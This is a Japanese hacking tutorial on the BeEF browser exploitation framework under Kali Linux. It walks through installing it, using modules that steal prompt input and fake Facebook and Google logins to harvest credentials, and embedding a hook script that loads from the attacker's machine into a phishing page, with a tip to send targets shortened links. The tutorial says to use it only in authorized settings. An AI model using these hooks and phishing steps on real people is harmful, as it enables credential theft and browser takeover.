【ハッキング入門】BeEFでブラウザをハッキングする

# 免責事項

:::note alert
必ず許可された環境でのみ実行して下さい。
:::

# 環境

- Kali Linux 2023
- beef 0.5.4.0

# BeEFとは

BeEFとは`Browser Exploitation Framework`の略称です。
このツールはブラウザに焦点を当てたツールになっています。
ブラウザからGUI操作でエクスプロイトを実行することが可能です。
ツールは主に`Ruby`と`JavaScript`で書かれています。

公式サイト

https://beefproject.com/

公式GitHubリポジトリ

https://github.com/beefproject/beef

# BeEFインストール

Kali Linuxのリポジトリからダウンロードしました。

https://www.kali.org/tools/beef-xss/

```
$ sudo apt install beef-xss
```

スクリプトファイルは`/usr/bin/beef-xss`にあります。

```
$ which beef-xss
/usr/bin/beef-xss
```

BeEFの設定ファイルパスは`/etc/beef-xss/config.yaml`です。

```/usr/bin/beef-xss.sh
(省略)
## Define config_file
config_file='/etc/beef-xss/config.yaml'
(省略)
```

```
$ ls -l /etc/beef-xss/config.yaml
-rw------- 1 beef-xss beef-xss 1652  5月 13 22:06 /etc/beef-xss/config.yaml
```

# BeEFの起動

`beef-xss`で起動すると新しいユーザーのパスワードを設定するように求められるので入力します。

:::note info
再度BeEFを起動する場合は、新しいユーザーなど作らずに起動します。

```
$ sudo beef-xss
[sudo] kali のパスワード:
[i] GeoIP database is missing
[i] Run geoipupdate to download / update Maxmind GeoIP database
[*] Please wait for the BeEF service to start.
[*]
[*] You might need to refresh your browser once it opens.
[*]
[*]  Web UI: http://127.0.0.1:3000/ui/panel
[*]    Hook: <script src="http://<IP>:3000/hook.js"></script>
[*] Example: <script src="http://127.0.0.1:3000/hook.js"></script>

● beef-xss.service - beef-xss
     Loaded: loaded (/usr/lib/systemd/system/beef-xss.service; disabled; preset: disabled)
     Active: active (running) since Sat 2024-05-11 08:41:31 JST; 5s ago
   Main PID: 1938 (ruby)
      Tasks: 3 (limit: 2286)
     Memory: 108.8M (peak: 109.0M)
        CPU: 1.430s
     CGroup: /system.slice/beef-xss.service
             └─1938 ruby /usr/share/beef-xss/beef
```
:::

:::note warn
パスワードを忘れてしまった場合は、`/etc/beef-xss/config.yaml`から確認できます。

```/etc/beef-xss/config.yaml
(省略)
credentials:
    user: beef
    passwd: password
(省略)
```
:::


```
$ sudo beef-xss
[sudo] kali のパスワード:
[-] You are using the Default credentials
[-] (Password must be different from "beef")
[-] Please type a new password for the beef user:
```

その後　自動で起動します。
`Active: active (running)`の表示が出力されたら正常に起動できています。

```
(省略)
[i] GeoIP database is missing
[i] Run geoipupdate to download / update Maxmind GeoIP database
[*] Please wait for the BeEF service to start.
[*]
[*] You might need to refresh your browser once it opens.
[*]
[*]  Web UI: http://127.0.0.1:3000/ui/panel
[*]    Hook: <script src="http://<IP>:3000/hook.js"></script>
[*] Example: <script src="http://127.0.0.1:3000/hook.js"></script>

● beef-xss.service - beef-xss
     Loaded: loaded (/usr/lib/systemd/system/beef-xss.service; disabled; preset: disabled)
     Active: active (running) since Thu 2024-05-09 17:10:15 JST; 5s ago
   Main PID: 2479 (ruby)
      Tasks: 3 (limit: 2286)
     Memory: 102.6M (peak: 103.0M)
        CPU: 1.804s
     CGroup: /system.slice/beef-xss.service
             └─2479 ruby /usr/share/beef-xss/beef

 5月 09 17:10:20 kali beef[2479]: == 24 CreateAutoloader: migrated (0.0008s) ==============…======
 5月 09 17:10:20 kali beef[2479]: == 25 CreateXssraysScan: migrating ======================…======
 5月 09 17:10:20 kali beef[2479]: -- create_table(:xssraysscans)
 5月 09 17:10:20 kali beef[2479]:    -> 0.0008s
 5月 09 17:10:20 kali beef[2479]: == 25 CreateXssraysScan: migrated (0.0008s) =============…======
 5月 09 17:10:20 kali beef[2479]: [17:10:18][*] BeEF is loading. Wait a few seconds...
 5月 09 17:10:20 kali beef[2479]: [17:10:20][!] [AdminUI] Error: Could not minify 'BeEF::Ex…armony
 5月 09 17:10:20 kali beef[2479]: [17:10:20]    |_  [AdminUI] Ensure nodejs is installed an…ATH` !
 5月 09 17:10:20 kali beef[2479]: [17:10:20][!] [AdminUI] Error: Could not minify 'BeEF::Ex…armony
 5月 09 17:10:20 kali beef[2479]: [17:10:20]    |_  [AdminUI] Ensure nodejs is installed an…ATH` !
Hint: Some lines were ellipsized, use -l to show in full.

[*] Opening Web UI (http://127.0.0.1:3000/ui/panel) in: 5... 4... 3... 2... 1...
```

起動後、ログインページが立ち上がりました。

![beef login page.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/b315a17f-4f4e-00bd-2970-7148da4a98a9.png)

# Let's ブラウザハッキング！

## BeEFにログイン

`Username`は`beef`、`Password`はツール起動時に設定したものを入力してログインします。

![beef login.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/a8d0ce34-1537-d5bb-99fb-9df4f1eafacb.png)

## ホームページの画面構成

ホームページ

![home page.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/df3c01d2-215d-76d5-a99f-a3b2a3c52e55.png)

`Hooked Browsers`にフックされたブラウザが追加で表示されていきます。

![Hooked Browser.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/d0c8d524-4323-c610-a9df-146648964f04.png)

ブラウザを開いている時は`Online Browsers`に、閉じている時は`Offline Browsers`にカテゴライズされます。

マウスカーソルをかざすと、フックしたホストの情報が簡易表示されます。

![hook browser detail.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/7520338d-4ae9-f722-12f3-604bf02ad41c.png)

## デモページ

`Getting Started`タブの概要文から2つのデモページに飛べます。
`デモページ`と`アドバンスバージョンのデモページ`があります。

**デモページ**

![demo page.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/c6156d80-7f2b-f87b-f956-7f1b186fa1d5.png)

**アドバンスバージョン**

![advance demo.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/6791397c-7b27-02fa-036c-c44105e503ad.png)

## Logs

`Logs`タブでは`BeEF`のログインログや機能の使用ログ、フックしたブラウザの操作ログなどが表示されます。

![beef log.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/a8629ad3-3622-e76a-e205-307e30914f91.png)

## Zombies

乗っ取ったブラウザを一覧表示します。

![zombies.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/de58f7a1-639d-2b4e-6539-3c1fe3febee5.png)

## Details

`Hooked Browsers`タブから対象のブラウザをクリックすると、`Current Browser`タブが開きます。

`Details`タブではホスト、ハードウェア、ブラウザ、ネットワークなどの情報を確認できます。

![browser detail.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/9a05c378-cdfc-f62e-fc16-8a82e67cfa19.png)

## Commands

`Commands`タブでは、フックしたブラウザに`エクスプロイト`や`フィッシング`を仕掛けられます。

:::note info
**モジュールの色分けについて**

- 緑
    - コマンド モジュールはターゲットに対して機能するため、ユーザーには見えないようにする必要があります。 
- オレンジ
    - コマンド モジュールはターゲットに対して機能しますが、ユーザーには表示される可能性があります
- 灰色
    - コマンド モジュールはこのターゲットに対してまだ検証されていません
- 赤
    - コマンド モジュールはこのターゲットに対して機能しません 
:::

![コマンドの色.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/625b7b91-372a-a14a-b4ee-2d4052ccc6e9.png)

また、モジュールの実行結果は`Module Results History`から確認することができます。

![get google phishing auth.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/a9e627e1-cdb6-dfee-6d87-4d7b2a31cb46.png)

いくつか実装されているモジュールを試してみたので紹介します。

## モジュールの実行

モジュールは`Browser`,`Exploits`,`Social Engineering`などにカテゴライズされていて、その中から選んで攻撃を実行できます。

![module category.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/20b137f0-8ff9-1897-32cd-6d03bcb8b6b9.png)

### Browser

#### Create Alert Dialog

このモジュールでは対象のブラウザにアラートを表示させることができます。

- **ソースコード**

https://github.com/beefproject/beef/tree/master/modules/browser/hooked_domain/alert_dialog

モジュール検索フォームで`alert`と入力して検索します。
ヒットした`Create Alert Dialog`を選択します。

![create alert.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/cae9a4b9-50cf-0263-1924-7dcb28e87e8b.png)

一番右の`Alert text`項目にはアラートで表示する文字列を入力します。

実行するには右下の`Execute`ボタンをクリックします。

一方、ブラウザ側では指定した文字列のアラートが出現しました。

![get alert.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/cdf59a06-c115-510a-92b0-b0c81b3fc35f.png)

#### Create Prompt Dialog

このモジュールではプロンプトダイアログをフックされたブラウザに表示でき、入力内容を盗み取ることができます。

- **ソースコード**

https://github.com/beefproject/beef/tree/master/modules/browser/hooked_domain/prompt_dialog

`Prompt`などで検索すると`Create Prompt Dialog`モジュールがヒットするので選択します。

![Prompt Dialog.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/f46b9314-b936-fcb4-75ba-8d59ad872fb0.png)

`Prompt text`にはブラウザに表示したい文字列を入力します。

右下の`Execute`ボタンをクリックして実行します。

![prompt dialog enter password.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/8485d095-3476-6ae3-bfe1-b49e0287d8bd.png)

ダイアログが表示されました。
試しに何か入力して`OK`を押してみます。

![get prompt password.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/7dc24f5a-6166-1f5c-1eba-1ae390d2d747.png)

するとBeEF側で入力された文字列を取得できました。

#### Redirect

このモジュールではターゲットのWebページを任意のURLへ遷移させることができます。

- **ソースコード**

https://github.com/beefproject/beef/tree/master/modules/browser/hooked_domain/site_redirect

`Redirect`と検索して`Redirect Browser`を選択します。

![search redirect.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/bfbcf899-5ea1-5a90-5a02-32ceeb5b623a.png)

今回は対象のブラウザをYoutubeに遷移させます。
`Redirect URL`にYoutubeのURLを入力して右下の`Execute`を実行します。

![Videotogif(1).gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/5721dd7f-2e0f-8aca-0f33-ea1a358251e1.gif)

任意のページへ遷移させることができました。

#### Redirect Browser (Rick Roll)

このモジュールでは対象のブラウザに`Rick Roll`という海外のミーム動画を表示させることができます。

- **ソースコード**

https://github.com/beefproject/beef/tree/master/modules/browser/hooked_domain/rickroll

仕組みはjsで対象の動画を100% x 100%サイズの`<iframe>`でブラウザに表示させています。

```modules/browser/hooked_domain/rickroll/command.js
//
// Copyright (c) 2006-2024Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

beef.execute(function() {
	$j('body').html('');

	$j('body').css({'padding':'0px', 'margin':'0px', 'height':'100%'});
	$j('html').css({'padding':'0px', 'margin':'0px', 'height':'100%'});

        $j('body').html('<iframe width="100%" height="100%" src="//www.youtube.com/embed/DLzxrzFCyOs?autoplay=1" allow="autoplay; encrypted-media" frameborder="0" allowfullscreen></iframe>');
	beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Rickroll Successful");
});
```

`redirect`などで検索をかけて、`Redirect Browser (Rickroll)`を選択します。
そして右下の`Execute`ボタンをクリックして実行します。

![redirect rickroll.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/6011aa42-f230-8968-7b1b-2eabacf2c514.png)

残念ながら、動画の再生はできませんでした。

![rickroll 再生できない.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/3e15d7aa-ea96-9968-eb2c-8e7edce7c15b.png)

本来はこの動画がブラウザに表示されます。

https://youtu.be/DLzxrzFCyOs?si=B87dcnrh1OH8Ehb3

:::note warn
再生できない原因として、投稿者による埋め込みオプションが無効化されている可能性があります。

[Google Help](https://support.google.com/youtube/answer/97363?hl=ja)
:::

:::note info
**Rick Rollとは？**

海外の釣りリンクとして有名なミームらしいです。
遊び心があって好きです。

[リックロール wiki](https://ja.wikipedia.org/wiki/%E3%83%AA%E3%83%83%E3%82%AF%E3%83%AD%E3%83%BC%E3%83%AB)
:::

### Host

#### Get Geolocation (Third-Party)

このモジュールでは、サードパーティーのAPIを利用して対象マシンの地理情報を取得できます。

- **ソースコード**
- 
https://github.com/beefproject/beef/tree/master/modules/host/physical_location_thirdparty

利用するAPIは数種類ありますが、使用したいものが今も提供しているか実際にアクセスして確認する必要もあります。

![Get Geo location.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/17737f35-bc7d-c705-4bbe-2cfd92226c7c.png)

右下の`Execute`をクリックして実行すると、地理情報を取得できました。

![get geo result.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/94281418-72ce-cf3e-80ba-7fc5cfdcc3a7.png)

### Misc

#### Raw JavaScript

このモジュールでは、対象のブラウザで任意のJavaScriptコードを実行できるようになります。

- **ソースコード**

https://github.com/beefproject/beef/tree/master/modules/misc/raw_javascript

`Raw JavaScript`を検索し選択します。
`Javascript Code`項目に実行したいコードを書き込みます。
今回はブラウザにアラートを表示するコードを書きました。

![search raw js.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/b7eece6d-0c15-d7a7-6dfd-b523f8dba2ea.png)

右下の`Execute`ボタンをクリックして実行します。

アラートが表示されました。

![raw js exe.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/292269d6-424e-e7f2-8f79-57dec43ecb8b.png)

### Social Engineering

#### Pretty Theft

このモジュールでは、有名なアプリケーションに偽造したポップアップを表示して、認証情報を取得することができます。

- **ソースコード**

https://github.com/beefproject/beef/tree/master/modules/social_engineering/pretty_theft

`Pretty Theft`と検索し、クリックして選択します。

![Pretty theft.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/f6c8d1f8-d53d-09d6-28e3-90861f13a387.png)

`Dialog Type`ではどのアプリケーションのポップアップを表示するか選択できます。

:::note info
今回は`Facebook`を選択しました。
:::

右下の`Execute`をクリックして実行すると、ブラウザにはFacebookのセッションタイムアウトしたポップアップが表示され、メールとパスワードの入力を求められました。

![facebook popup.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/3b3298ce-9b1c-d656-a279-5cc10779425b.png)

このポップアップに入力された情報はコントロールパネルから確認できます。

![pretty get auth info.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/29c2f622-097d-11df-4d2e-9a536d0d9b85.png)

#### Google Phishing

このモジュールではGoogleの偽ログイン画面を表示し、認証情報を取得します。

![google phishing.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/883415e2-aefa-8ec9-7de4-02baacbd8df5.png)

右下の`Execute`クリックして実行すると、デモページにGoogleのログイン画面が表示されます。

:::note info
ソースコードとアドレスバーを確認すると分かりますが、実際に遷移しているのではなく`iframe`タグを使用し表示しています。
:::

![google phishing page.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/ce7603e7-5c92-36e8-76a0-35af4761425b.png)

ログイン情報を入力し、`Sign in`をクリックするとGoogleの正規ログインページにリダイレクトしました。

![google login.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/d6e5f8fb-f443-8a2e-a2a5-cf738719551c.png)

![googleログイン画面.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/6816ded2-3b85-c393-c76b-0ff72ee05c31.png)

入力された情報はコントロールパネルから確認することができます。

![get google phishing auth.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/02a9518f-15fc-de00-84b1-4a30a1614592.png)

:::note info
今回紹介したモジュールはほんの一部なので自身の環境で色々試してみてください。

モジュールは自作することもできます。
気になる方は[こちらから](https://github.com/beefproject/beef/wiki/Module-Creation)確認してください。
:::

# フィッシングサイトでBeEFを利用する

フィッシング用の適当なhtmlページを作成します。

```html
<!DOCTYPE html>
<html>
<body>
	<h1>This is Phishing Page</h1>
</body>
</html>
```

:::note info
フィッシングサイトの作成には[`Social-Engineer Toolkit (SET)`](https://www.kali.org/tools/set/)などのツールを使う方法も有効的です。
:::

下記コードをHTMLの中に追加します。

```
<script src="http://<IP>:3000/hook.js"></script>
```

:::note info
`http://<IP>:3000/hook.js`の`IP`にはBeEFを実行しているマシンのIPアドレスを入力してください。
:::

- **追加後**

```html
<!DOCTYPE html>
<html>
<body>
	<h1>This is Phishing Page</h1>
	<script src="http://192.168.178.8:3000/hook.js"></script>
</body>
</html>
```

Kali側でWebサーバーを起動し、作成したフィッシングページへアクセスできるようにします。

```
$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
```

:::note info
ターゲットにURLのリンクを送る際は、`https://shorturl.at/dDKQR`など短縮URLサービスを使っても良いと思います。
:::

ターゲットが`BeEF`のスクリプトタグを埋め込まれたページを開くと`Hooked Browsers`欄に追加されました。

- **ターゲットマシン**

![ターゲットで埋め込みブラウザページを開く.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/3db0c399-ac84-abcc-aebb-fcd2bfa78e07.png)

- **BeEFのコントロールパネル**

![almalinux hooked.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/081c680e-9501-c29a-9539-9194a21e8dca.png)

このようにフィッシングサイト経由でBeEFを使用することもできます。